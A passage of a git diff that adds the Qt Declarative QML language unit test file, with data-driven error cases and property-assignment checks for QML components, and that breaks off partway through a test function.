+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+QML_DECLARE_TYPE(MySubclass)
+
+
+
+void registerTypes();
+
+#endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
new file mode 100644
index 00000000..bfc0a5f1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
@@ -0,0 +1,2028 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qfileinfo.h>
+#include <QtCore/qdir.h>
+
+#include <private/qdeclarativeproperty_p.h>
+#include <private/qdeclarativemetatype_p.h>
+#include <private/qdeclarativeglobal_p.h>
+
+#include "testtypes.h"
+
+#include "../../../shared/util.h"
+#include "testhttpserver.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+DEFINE_BOOL_CONFIG_OPTION(qmlCheckTypes, QML_CHECK_TYPES)
+
+
+/*
+This test case covers QML language issues. This covers everything that does not
+involve evaluating ECMAScript expressions and bindings.
+
+Evaluation of expressions and bindings is covered in qmlecmascript
+*/
+class tst_qdeclarativelanguage : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativelanguage() {
+ QDeclarativeMetaType::registerCustomStringConverter(qMetaTypeId<MyCustomVariantType>(), myCustomVariantTypeConverter);
+ QFileInfo fileInfo(__FILE__);
+ engine.addImportPath(fileInfo.absoluteDir().filePath(QLatin1String("data/lib")));
+ }
+
+private slots:
+ void initTestCase();
+ void cleanupTestCase();
+
+ void errors_data();
+ void errors();
+
+ void insertedSemicolon_data();
+ void insertedSemicolon();
+
+ void simpleObject();
+ void simpleContainer();
+ void interfaceProperty();
+ void interfaceQList();
+ void assignObjectToSignal();
+ void assignObjectToVariant();
+ void assignLiteralSignalProperty();
+ void assignQmlComponent();
+ void assignBasicTypes();
+ void assignTypeExtremes();
+ void assignCompositeToType();
+ void assignLiteralToVariant();
+ void customParserTypes();
+ void rootAsQmlComponent();
+ void inlineQmlComponents();
+ void idProperty();
+ void autoNotifyConnection();
+ void assignSignal();
+ void dynamicProperties();
+ void dynamicPropertiesNested();
+ void listProperties();
+ void dynamicObjectProperties();
+ void dynamicSignalsAndSlots();
+ void simpleBindings();
+ void autoComponentCreation();
+ void propertyValueSource();
+ void attachedProperties();
+ void dynamicObjects();
+ void customVariantTypes();
+ void valueTypes();
+ void cppnamespace();
+ void aliasProperties();
+ void aliasPropertiesAndSignals();
+ void aliasPropertyChangeSignals();
+ void componentCompositeType();
+ void i18n();
+ void i18n_data();
+ void onCompleted();
+ void onDestruction();
+ void scriptString();
+ void defaultPropertyListOrder();
+ void declaredPropertyValues();
+ void dontDoubleCallClassBegin();
+ void reservedWords_data();
+ void reservedWords();
+ void inlineAssignmentsOverrideBindings();
+ void nestedComponentRoots();
+
+ void basicRemote_data();
+ void basicRemote();
+ void importsBuiltin_data();
+ void importsBuiltin();
+ void importsLocal_data();
+ void importsLocal();
+ void importsRemote_data();
+ void importsRemote();
+ void importsInstalled_data();
+ void importsInstalled();
+ void importsOrder_data();
+ void importsOrder();
+ void importIncorrectCase();
+
+ void qmlAttachedPropertiesObjectMethod();
+ void customOnProperty();
+ void variantNotify();
+
+ void revisions();
+ void revisionOverloads();
+
+ // regression tests for crashes
+ void crash1();
+ void crash2();
+
+private:
+ QDeclarativeEngine engine;
+ void testType(const QString& qml, const QString& type, const QString& error);
+};
+
+#define VERIFY_ERRORS(errorfile) \
+ if (!errorfile) { \
+ if (qgetenv("DEBUG") != "" && !component.errors().isEmpty()) \
+ qWarning() << "Unexpected Errors:" << component.errors(); \
+ QVERIFY(!component.isError()); \
+ QVERIFY(component.errors().isEmpty()); \
+ } else { \
+ QFile file(QLatin1String(SRCDIR) + QLatin1String("/data/") + QLatin1String(errorfile)); \
+ QVERIFY(file.open(QIODevice::ReadOnly | QIODevice::Text)); \
+ QByteArray data = file.readAll(); \
+ file.close(); \
+ QList<QByteArray> expected = data.split('\n'); \
+ expected.removeAll(QByteArray("")); \
+ QList<QDeclarativeError> errors = component.errors(); \
+ QList<QByteArray> actual; \
+ for (int ii = 0; ii < errors.count(); ++ii) { \
+ const QDeclarativeError &error = errors.at(ii); \
+ QByteArray errorStr = QByteArray::number(error.line()) + ":" + \
+ QByteArray::number(error.column()) + ":" + \
+ error.description().toUtf8(); \
+ actual << errorStr; \
+ } \
+ if (qgetenv("DEBUG") != "" && expected != actual) \
+ qWarning() << "Expected:" << expected << "Actual:" << actual; \
+ if (qgetenv("QDECLARATIVELANGUAGE_UPDATEERRORS") != "" && expected != actual) {\
+ QFile file(QLatin1String("data/") + QLatin1String(errorfile)); \
+ QVERIFY(file.open(QIODevice::WriteOnly)); \
+ for (int ii = 0; ii < actual.count(); ++ii) { \
+ file.write(actual.at(ii)); file.write("\n"); \
+ } \
+ file.close(); \
+ } else { \
+ QCOMPARE(expected, actual); \
+ } \
+ }
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(QLatin1String("data/") + filename));
+}
+
+inline QUrl TEST_FILE(const char *filename)
+{
+ return TEST_FILE(QLatin1String(filename));
+}
+
+void tst_qdeclarativelanguage::cleanupTestCase()
+{
+ QVERIFY(QFile::remove(TEST_FILE(QString::fromUtf8("I18nType\303\201\303\242\303\243\303\244\303\245.qml")).toLocalFile()));
+}
+
+void tst_qdeclarativelanguage::insertedSemicolon_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("errorFile");
+ QTest::addColumn<bool>("create");
+
+ QTest::newRow("insertedSemicolon.1") << "insertedSemicolon.1.qml" << "insertedSemicolon.1.errors.txt" << false;
+}
+
+void tst_qdeclarativelanguage::insertedSemicolon()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, errorFile);
+ QFETCH(bool, create);
+
+ QDeclarativeComponent component(&engine, TEST_FILE(file));
+
+ if(create) {
+ QObject *object = component.create();
+ QVERIFY(object == 0);
+ }
+
+ VERIFY_ERRORS(errorFile.toLatin1().constData());
+}
+
+void tst_qdeclarativelanguage::errors_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("errorFile");
+ QTest::addColumn<bool>("create");
+
+ QTest::newRow("nonexistantProperty.1") << "nonexistantProperty.1.qml" << "nonexistantProperty.1.errors.txt" << false;
+ QTest::newRow("nonexistantProperty.2") << "nonexistantProperty.2.qml" << "nonexistantProperty.2.errors.txt" << false;
+ QTest::newRow("nonexistantProperty.3") << "nonexistantProperty.3.qml" << "nonexistantProperty.3.errors.txt" << false;
+ QTest::newRow("nonexistantProperty.4") << "nonexistantProperty.4.qml" << "nonexistantProperty.4.errors.txt" << false;
+ QTest::newRow("nonexistantProperty.5") << "nonexistantProperty.5.qml" << "nonexistantProperty.5.errors.txt" << false;
+ QTest::newRow("nonexistantProperty.6") << "nonexistantProperty.6.qml" << "nonexistantProperty.6.errors.txt" << false;
+
+ QTest::newRow("wrongType (string for int)") << "wrongType.1.qml" << "wrongType.1.errors.txt" << false;
+ QTest::newRow("wrongType (int for bool)") << "wrongType.2.qml" << "wrongType.2.errors.txt" << false;
+ QTest::newRow("wrongType (bad rect)") << "wrongType.3.qml" << "wrongType.3.errors.txt" << false;
+
+ QTest::newRow("wrongType (invalid enum)") << "wrongType.4.qml" << "wrongType.4.errors.txt" << false;
+ QTest::newRow("wrongType (int for uint)") << "wrongType.5.qml" << "wrongType.5.errors.txt" << false;
+ QTest::newRow("wrongType (string for real)") << "wrongType.6.qml" << "wrongType.6.errors.txt" << false;
+ QTest::newRow("wrongType (int for color)") << "wrongType.7.qml" << "wrongType.7.errors.txt" << false;
+ QTest::newRow("wrongType (int for date)") << "wrongType.8.qml" << "wrongType.8.errors.txt" << false;
+ QTest::newRow("wrongType (int for time)") << "wrongType.9.qml" << "wrongType.9.errors.txt" << false;
+ QTest::newRow("wrongType (int for datetime)") << "wrongType.10.qml" << "wrongType.10.errors.txt" << false;
+ QTest::newRow("wrongType (string for point)") << "wrongType.11.qml" << "wrongType.11.errors.txt" << false;
+ QTest::newRow("wrongType (color for size)") << "wrongType.12.qml" << "wrongType.12.errors.txt" << false;
+ QTest::newRow("wrongType (number string for int)") << "wrongType.13.qml" << "wrongType.13.errors.txt" << false;
+ QTest::newRow("wrongType (int for string)") << "wrongType.14.qml" << "wrongType.14.errors.txt" << false;
+ QTest::newRow("wrongType (int for url)") << "wrongType.15.qml" << "wrongType.15.errors.txt" << false;
+ QTest::newRow("wrongType (invalid object)") << "wrongType.16.qml" << "wrongType.16.errors.txt" << false;
+
+ QTest::newRow("readOnly.1") << "readOnly.1.qml" << "readOnly.1.errors.txt" << false;
+ QTest::newRow("readOnly.2") << "readOnly.2.qml" << "readOnly.2.errors.txt" << false;
+ QTest::newRow("readOnly.3") << "readOnly.3.qml" << "readOnly.3.errors.txt" << false;
+ QTest::newRow("readOnly.4") << "readOnly.4.qml" << "readOnly.4.errors.txt" << false;
+ QTest::newRow("readOnly.5") << "readOnly.5.qml" << "readOnly.5.errors.txt" << false;
+
+ QTest::newRow("listAssignment.1") << "listAssignment.1.qml" << "listAssignment.1.errors.txt" << false;
+ QTest::newRow("listAssignment.2") << "listAssignment.2.qml" << "listAssignment.2.errors.txt" << false;
+ QTest::newRow("listAssignment.3") << "listAssignment.3.qml" << "listAssignment.3.errors.txt" << false;
+
+ QTest::newRow("invalidID.1") << "invalidID.qml" << "invalidID.errors.txt" << false;
+ QTest::newRow("invalidID.2") << "invalidID.2.qml" << "invalidID.2.errors.txt" << false;
+ QTest::newRow("invalidID.3") << "invalidID.3.qml" << "invalidID.3.errors.txt" << false;
+ QTest::newRow("invalidID.4") << "invalidID.4.qml" << "invalidID.4.errors.txt" << false;
+ QTest::newRow("invalidID.5") << "invalidID.5.qml" << "invalidID.5.errors.txt" << false;
+ QTest::newRow("invalidID.6") << "invalidID.6.qml" << "invalidID.6.errors.txt" << false;
+ QTest::newRow("invalidID.7") << "invalidID.7.qml" << "invalidID.7.errors.txt" << false;
+ QTest::newRow("invalidID.8") << "invalidID.8.qml" << "invalidID.8.errors.txt" << false;
+ QTest::newRow("invalidID.9") << "invalidID.9.qml" << "invalidID.9.errors.txt" << false;
+
+ QTest::newRow("scriptString.1") << "scriptString.1.qml" << "scriptString.1.errors.txt" << false;
+ QTest::newRow("scriptString.2") << "scriptString.2.qml" << "scriptString.2.errors.txt" << false;
+
+ QTest::newRow("unsupportedProperty") << "unsupportedProperty.qml" << "unsupportedProperty.errors.txt" << false;
+ QTest::newRow("nullDotProperty") << "nullDotProperty.qml" << "nullDotProperty.errors.txt" << true;
+ QTest::newRow("fakeDotProperty") << "fakeDotProperty.qml" << "fakeDotProperty.errors.txt" << false;
+ QTest::newRow("duplicateIDs") << "duplicateIDs.qml" << "duplicateIDs.errors.txt" << false;
+ QTest::newRow("unregisteredObject") << "unregisteredObject.qml" << "unregisteredObject.errors.txt" << false;
+ QTest::newRow("empty") << "empty.qml" << "empty.errors.txt" << false;
+ QTest::newRow("missingObject") << "missingObject.qml" << "missingObject.errors.txt" << false;
+ QTest::newRow("failingComponent") << "failingComponentTest.qml" << "failingComponent.errors.txt" << false;
+ QTest::newRow("missingSignal") << "missingSignal.qml" << "missingSignal.errors.txt" << false;
+ QTest::newRow("finalOverride") << "finalOverride.qml" << "finalOverride.errors.txt" << false;
+ QTest::newRow("customParserIdNotAllowed") << "customParserIdNotAllowed.qml" << "customParserIdNotAllowed.errors.txt" << false;
+
+ QTest::newRow("invalidGroupedProperty.1") << "invalidGroupedProperty.1.qml" << "invalidGroupedProperty.1.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.2") << "invalidGroupedProperty.2.qml" << "invalidGroupedProperty.2.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.3") << "invalidGroupedProperty.3.qml" << "invalidGroupedProperty.3.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.4") << "invalidGroupedProperty.4.qml" << "invalidGroupedProperty.4.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.5") << "invalidGroupedProperty.5.qml" << "invalidGroupedProperty.5.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.6") << "invalidGroupedProperty.6.qml" << "invalidGroupedProperty.6.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.7") << "invalidGroupedProperty.7.qml" << "invalidGroupedProperty.7.errors.txt" << true;
+ QTest::newRow("invalidGroupedProperty.8") << "invalidGroupedProperty.8.qml" << "invalidGroupedProperty.8.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.9") << "invalidGroupedProperty.9.qml" << "invalidGroupedProperty.9.errors.txt" << false;
+ QTest::newRow("invalidGroupedProperty.10") << "invalidGroupedProperty.10.qml" << "invalidGroupedProperty.10.errors.txt" << false;
+
+ QTest::newRow("importNamespaceConflict") << "importNamespaceConflict.qml" << "importNamespaceConflict.errors.txt" << false;
+ QTest::newRow("importVersionMissing (builtin)") << "importVersionMissingBuiltIn.qml" << "importVersionMissingBuiltIn.errors.txt" << false;
+ QTest::newRow("importVersionMissing (installed)") << "importVersionMissingInstalled.qml" << "importVersionMissingInstalled.errors.txt" << false;
+ QTest::newRow("importNonExist (installed)") << "importNonExist.qml" << "importNonExist.errors.txt" << false;
+ QTest::newRow("importNonExistOlder (installed)") << "importNonExistOlder.qml" << "importNonExistOlder.errors.txt" << false;
+ QTest::newRow("importNewerVersion (installed)") << "importNewerVersion.qml" << "importNewerVersion.errors.txt" << false;
+ QTest::newRow("invalidImportID") << "invalidImportID.qml" << "invalidImportID.errors.txt" << false;
+ QTest::newRow("importFile") << "importFile.qml" << "importFile.errors.txt" << false;
+
+ QTest::newRow("signal.1") << "signal.1.qml" << "signal.1.errors.txt" << false;
+ QTest::newRow("signal.2") << "signal.2.qml" << "signal.2.errors.txt" << false;
+ QTest::newRow("signal.3") << "signal.3.qml" << "signal.3.errors.txt" << false;
+ QTest::newRow("signal.4") << "signal.4.qml" << "signal.4.errors.txt" << false;
+
+ QTest::newRow("method.1") << "method.1.qml" << "method.1.errors.txt" << false;
+
+ QTest::newRow("property.1") << "property.1.qml" << "property.1.errors.txt" << false;
+ QTest::newRow("property.2") << "property.2.qml" << "property.2.errors.txt" << false;
+ QTest::newRow("property.3") << "property.3.qml" << "property.3.errors.txt" << false;
+ QTest::newRow("property.4") << "property.4.qml" << "property.4.errors.txt" << false;
+ QTest::newRow("property.5") << "property.5.qml" << "property.5.errors.txt" << false;
+ QTest::newRow("property.6") << "property.6.qml" << "property.6.errors.txt" << false;
+ QTest::newRow("property.7") << "property.7.qml" << "property.7.errors.txt" << false;
+
+ QTest::newRow("importScript.1") << "importscript.1.qml" << "importscript.1.errors.txt" << false;
+
+ QTest::newRow("Component.1") << "component.1.qml" << "component.1.errors.txt" << false;
+ QTest::newRow("Component.2") << "component.2.qml" << "component.2.errors.txt" << false;
+ QTest::newRow("Component.3") << "component.3.qml" << "component.3.errors.txt" << false;
+ QTest::newRow("Component.4") << "component.4.qml" << "component.4.errors.txt" << false;
+ QTest::newRow("Component.5") << "component.5.qml" << "component.5.errors.txt" << false;
+ QTest::newRow("Component.6") << "component.6.qml" << "component.6.errors.txt" << false;
+ QTest::newRow("Component.7") << "component.7.qml" << "component.7.errors.txt" << false;
+ QTest::newRow("Component.8") << "component.8.qml" << "component.8.errors.txt" << false;
+ QTest::newRow("Component.9") << "component.9.qml" << "component.9.errors.txt" << false;
+
+ QTest::newRow("MultiSet.1") << "multiSet.1.qml" << "multiSet.1.errors.txt" << false;
+ QTest::newRow("MultiSet.2") << "multiSet.2.qml" << "multiSet.2.errors.txt" << false;
+ QTest::newRow("MultiSet.3") << "multiSet.3.qml" << "multiSet.3.errors.txt" << false;
+ QTest::newRow("MultiSet.4") << "multiSet.4.qml" << "multiSet.4.errors.txt" << false;
+ QTest::newRow("MultiSet.5") << "multiSet.5.qml" << "multiSet.5.errors.txt" << false;
+ QTest::newRow("MultiSet.6") << "multiSet.6.qml" << "multiSet.6.errors.txt" << false;
+ QTest::newRow("MultiSet.7") << "multiSet.7.qml" << "multiSet.7.errors.txt" << false;
+ QTest::newRow("MultiSet.8") << "multiSet.8.qml" << "multiSet.8.errors.txt" << false;
+ QTest::newRow("MultiSet.9") << "multiSet.9.qml" << "multiSet.9.errors.txt" << false;
+ QTest::newRow("MultiSet.10") << "multiSet.10.qml" << "multiSet.10.errors.txt" << false;
+ QTest::newRow("MultiSet.11") << "multiSet.11.qml" << "multiSet.11.errors.txt" << false;
+
+ QTest::newRow("dynamicMeta.1") << "dynamicMeta.1.qml" << "dynamicMeta.1.errors.txt" << false;
+ QTest::newRow("dynamicMeta.2") << "dynamicMeta.2.qml" << "dynamicMeta.2.errors.txt" << false;
+ QTest::newRow("dynamicMeta.3") << "dynamicMeta.3.qml" << "dynamicMeta.3.errors.txt" << false;
+ QTest::newRow("dynamicMeta.4") << "dynamicMeta.4.qml" << "dynamicMeta.4.errors.txt" << false;
+ QTest::newRow("dynamicMeta.5") << "dynamicMeta.5.qml" << "dynamicMeta.5.errors.txt" << false;
+
+ QTest::newRow("invalidAlias.1") << "invalidAlias.1.qml" << "invalidAlias.1.errors.txt" << false;
+ QTest::newRow("invalidAlias.2") << "invalidAlias.2.qml" << "invalidAlias.2.errors.txt" << false;
+ QTest::newRow("invalidAlias.3") << "invalidAlias.3.qml" << "invalidAlias.3.errors.txt" << false;
+ QTest::newRow("invalidAlias.4") << "invalidAlias.4.qml" << "invalidAlias.4.errors.txt" << false;
+ QTest::newRow("invalidAlias.5") << "invalidAlias.5.qml" << "invalidAlias.5.errors.txt" << false;
+ QTest::newRow("invalidAlias.6") << "invalidAlias.6.qml" << "invalidAlias.6.errors.txt" << false;
+ QTest::newRow("invalidAlias.7") << "invalidAlias.7.qml" << "invalidAlias.7.errors.txt" << false;
+ QTest::newRow("invalidAlias.8") << "invalidAlias.8.qml" << "invalidAlias.8.errors.txt" << false;
+ QTest::newRow("invalidAlias.9") << "invalidAlias.9.qml" << "invalidAlias.9.errors.txt" << false;
+ QTest::newRow("invalidAlias.10") << "invalidAlias.10.qml" << "invalidAlias.10.errors.txt" << false;
+
+ QTest::newRow("invalidAttachedProperty.1") << "invalidAttachedProperty.1.qml" << "invalidAttachedProperty.1.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.2") << "invalidAttachedProperty.2.qml" << "invalidAttachedProperty.2.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.3") << "invalidAttachedProperty.3.qml" << "invalidAttachedProperty.3.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.4") << "invalidAttachedProperty.4.qml" << "invalidAttachedProperty.4.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.5") << "invalidAttachedProperty.5.qml" << "invalidAttachedProperty.5.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.6") << "invalidAttachedProperty.6.qml" << "invalidAttachedProperty.6.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.7") << "invalidAttachedProperty.7.qml" << "invalidAttachedProperty.7.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.8") << "invalidAttachedProperty.8.qml" << "invalidAttachedProperty.8.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.9") << "invalidAttachedProperty.9.qml" << "invalidAttachedProperty.9.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.10") << "invalidAttachedProperty.10.qml" << "invalidAttachedProperty.10.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.11") << "invalidAttachedProperty.11.qml" << "invalidAttachedProperty.11.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.12") << "invalidAttachedProperty.12.qml" << "invalidAttachedProperty.12.errors.txt" << false;
+ QTest::newRow("invalidAttachedProperty.13") << "invalidAttachedProperty.13.qml" << "invalidAttachedProperty.13.errors.txt" << false;
+
+ QTest::newRow("assignValueToSignal") << "assignValueToSignal.qml" << "assignValueToSignal.errors.txt" << false;
+ QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false;
+
+ QTest::newRow("nestedErrors") << "nestedErrors.qml" << "nestedErrors.errors.txt" << false;
+ QTest::newRow("defaultGrouped") << "defaultGrouped.qml" << "defaultGrouped.errors.txt" << false;
+ QTest::newRow("doubleSignal") << "doubleSignal.qml" << "doubleSignal.errors.txt" << false;
+ QTest::newRow("invalidRoot") << "invalidRoot.qml" << "invalidRoot.errors.txt" << false;
+ QTest::newRow("missingValueTypeProperty") << "missingValueTypeProperty.qml" << "missingValueTypeProperty.errors.txt" << false;
+ QTest::newRow("objectValueTypeProperty") << "objectValueTypeProperty.qml" << "objectValueTypeProperty.errors.txt" << false;
+ QTest::newRow("enumTypes") << "enumTypes.qml" << "enumTypes.errors.txt" << false;
+ QTest::newRow("noCreation") << "noCreation.qml" << "noCreation.errors.txt" << false;
+ QTest::newRow("destroyedSignal") << "destroyedSignal.qml" << "destroyedSignal.errors.txt" << false;
+ QTest::newRow("assignToNamespace") << "assignToNamespace.qml" << "assignToNamespace.errors.txt" << false;
+ QTest::newRow("invalidOn") << "invalidOn.qml" << "invalidOn.errors.txt" << false;
+ QTest::newRow("invalidProperty") << "invalidProperty.qml" << "invalidProperty.errors.txt" << false;
+ QTest::newRow("nonScriptableProperty") << "nonScriptableProperty.qml" << "nonScriptableProperty.errors.txt" << false;
+ QTest::newRow("notAvailable") << "notAvailable.qml" << "notAvailable.errors.txt" << false;
+ QTest::newRow("singularProperty") << "singularProperty.qml" << "singularProperty.errors.txt" << false;
+ QTest::newRow("singularProperty.2") << "singularProperty.2.qml" << "singularProperty.2.errors.txt" << false;
+ QTest::newRow("incorrectCase") << "incorrectCase.qml"
+#if defined(Q_OS_MAC) || defined(Q_OS_WIN32)
+ << "incorrectCase.errors.insensitive.txt"
+#else
+ << "incorrectCase.errors.sensitive.txt"
+#endif
+ << false;
+
+ QTest::newRow("metaobjectRevision.1") << "metaobjectRevision.1.qml" << "metaobjectRevision.1.errors.txt" << false;
+ QTest::newRow("metaobjectRevision.2") << "metaobjectRevision.2.qml" << "metaobjectRevision.2.errors.txt" << false;
+ QTest::newRow("metaobjectRevision.3") << "metaobjectRevision.3.qml" << "metaobjectRevision.3.errors.txt" << false;
+}
+
+
+void tst_qdeclarativelanguage::errors()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, errorFile);
+ QFETCH(bool, create);
+
+ QDeclarativeComponent component(&engine, TEST_FILE(file));
+
+ if(create) {
+ QObject *object = component.create();
+ QVERIFY(object == 0);
+ }
+
+ VERIFY_ERRORS(errorFile.toLatin1().constData());
+}
+
+void tst_qdeclarativelanguage::simpleObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("simpleObject.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+void tst_qdeclarativelanguage::simpleContainer()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("simpleContainer.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *container= qobject_cast<MyContainer*>(component.create());
+ QVERIFY(container != 0);
+ QCOMPARE(container->getChildren()->count(),2);
+}
+
+void tst_qdeclarativelanguage::interfaceProperty()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("interfaceProperty.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->interface());
+ QVERIFY(object->interface()->id == 913);
+}
+
+void tst_qdeclarativelanguage::interfaceQList()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("interfaceQList.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *container= qobject_cast<MyContainer*>(component.create());
+ QVERIFY(container != 0);
+ QVERIFY(container->getQListInterfaces()->count() == 2);
+ for(int ii = 0; ii < 2; ++ii)
+ QVERIFY(container->getQListInterfaces()->at(ii)->id == 913);
+}
+
+void tst_qdeclarativelanguage::assignObjectToSignal()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignObjectToSignal.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QTest::ignoreMessage(QtWarningMsg, "MyQmlObject::basicSlot");
+ emit object->basicSignal();
+}
+
+void tst_qdeclarativelanguage::assignObjectToVariant()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignObjectToVariant.qml"));
+ VERIFY_ERRORS(0);
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QVariant v = object->property("a");
+ QVERIFY(v.userType() == qMetaTypeId<QObject *>());
+}
+
+void tst_qdeclarativelanguage::assignLiteralSignalProperty()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignLiteralSignalProperty.qml"));
+ VERIFY_ERRORS(0);
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->onLiteralSignal(), 10);
+}
+
+// Test is an external component can be loaded and assigned (to a qlist)
+void tst_qdeclarativelanguage::assignQmlComponent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignQmlComponent.qml"));
+ VERIFY_ERRORS(0);
+ MyContainer *object = qobject_cast<MyContainer *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->getChildren()->count() == 1);
+ QObject *child = object->getChildren()->at(0);
+ QCOMPARE(child->property("x"), QVariant(10));
+ QCOMPARE(child->property("y"), QVariant(11));
+}
+
+// Test literal assignment to all the basic types
+void tst_qdeclarativelanguage::assignBasicTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignBasicTypes.qml"));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->flagProperty(), MyTypeObject::FlagVal1 | MyTypeObject::FlagVal3);
+ QCOMPARE(object->enumProperty(), MyTypeObject::EnumVal2);
+ QCOMPARE(object->stringProperty(), QString("Hello World!"));
+ QCOMPARE(object->uintProperty(), uint(10));
+ QCOMPARE(object->intProperty(), -19);
+ QCOMPARE((float)object->realProperty(), float(23.2));
+ QCOMPARE((float)object->doubleProperty(), float(-19.7));
+ QCOMPARE((float)object->floatProperty(), float(8.5));
+ QCOMPARE(object->colorProperty(), QColor("red"));
+ QCOMPARE(object->dateProperty(), QDate(1982, 11, 25));
+ QCOMPARE(object->timeProperty(), QTime(11, 11, 32));
+ QCOMPARE(object->dateTimeProperty(), QDateTime(QDate(2009, 5, 12), QTime(13, 22, 1)));
+ QCOMPARE(object->pointProperty(), QPoint(99,13));
+ QCOMPARE(object->pointFProperty(), QPointF((float)-10.1, (float)12.3));
+ QCOMPARE(object->sizeProperty(), QSize(99, 13));
+ QCOMPARE(object->sizeFProperty(), QSizeF((float)0.1, (float)0.2));
+ QCOMPARE(object->rectProperty(), QRect(9, 7, 100, 200));
+ QCOMPARE(object->rectFProperty(), QRectF((float)1000.1, (float)-10.9, (float)400, (float)90.99));
+ QCOMPARE(object->boolProperty(), true);
+ QCOMPARE(object->variantProperty(), QVariant("Hello World!"));
+ QCOMPARE(object->vectorProperty(), QVector3D(10, 1, 2.2));
+ QCOMPARE(object->urlProperty(), component.url().resolved(QUrl("main.qml")));
+ QVERIFY(object->objectProperty() != 0);
+ MyTypeObject *child = qobject_cast<MyTypeObject *>(object->objectProperty());
+ QVERIFY(child != 0);
+ QCOMPARE(child->intProperty(), 8);
+}
+
+// Test edge case type assignments
+void tst_qdeclarativelanguage::assignTypeExtremes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignTypeExtremes.qml"));
+ VERIFY_ERRORS(0);
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->uintProperty(), 0xEE6B2800);
+ QCOMPARE(object->intProperty(), -0x77359400);
+}
+
+// Test that a composite type can assign to a property of its base type
+void tst_qdeclarativelanguage::assignCompositeToType()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("assignCompositeToType.qml"));
